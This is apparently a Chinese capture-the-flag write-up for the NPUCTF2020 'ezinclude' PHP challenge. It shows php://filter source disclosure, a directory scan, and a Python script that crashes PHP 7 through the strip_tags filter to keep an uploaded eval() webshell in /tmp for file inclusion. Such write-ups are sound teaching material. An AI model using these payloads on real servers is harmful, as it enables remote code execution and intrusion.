[NPUCTF2020]ezinclude

在这里插入图片描述
抓包
在这里插入图片描述
发现cookie里有hash值,返回包中给出了判定条件
加入get参数name(设置为空)和pass(设置为默认的hash值)即可
在这里插入图片描述
得到提示flflflflag.php
访问该页面
在这里插入图片描述
在burp中观察返回包
在这里插入图片描述
有include函数,考虑文件包含漏洞
使用伪协议查看flflflflag.php源码:/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>

简单的对file做了过滤
这里暂时没有思路了
参考:[NPUCTF2020]ezinclude
使用dirmap的字典,用dirsearch进行过滤式的扫描扫描出dir.php文件:python3 dirsearch.py -u http://2954774a-ad6b-47c5-9fca-41ce8ab27ecb.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/dict_mode_dict.txt

扫描目录有发现
在这里插入图片描述
读取该文件。方法同上:/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=dir.php
得到dir.php的内容

<?php
var_dump(scandir('/tmp'));
?>

dir.php会输出/tmp目录下的信息,所以可以想办法把木马文件搞到/tmp目录下

方法:

利用php7 segment fault特性(CVE-2018-14884) php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php的垃圾回收机制就不会在继续执行 , 导致 POST的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp
file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

利用条件:
php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
可以获取文件名

参考:[NPUCTF2020]ezinclude(PHP临时文件包含)

漏洞利用的参数: ?file=php://filter/string.strip_tags/resource=/etc/passwd

脚本:

import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[r1]);?>"
data={
    'file': BytesIO(payload.encode())
}

url="http://2954774a-ad6b-47c5-9fca-41ce8ab27ecb.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"


r=requests.post(url=url,files=data,allow_redirects=False)
print(r.text)

在这里插入图片描述
返回这种说明成功让PHP崩溃了

访问dir.php,得到/tmp目录下的文件名
在这里插入图片描述
利用flflflflag.php的文件包含来访问这个文件
在这里插入图片描述
在phpinfo中找到flag
也可以直接在脚本中写入<?php phpinfo(); ?>

另一种方法参考这位佬的:[NPUCTF2020]ezinclude

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值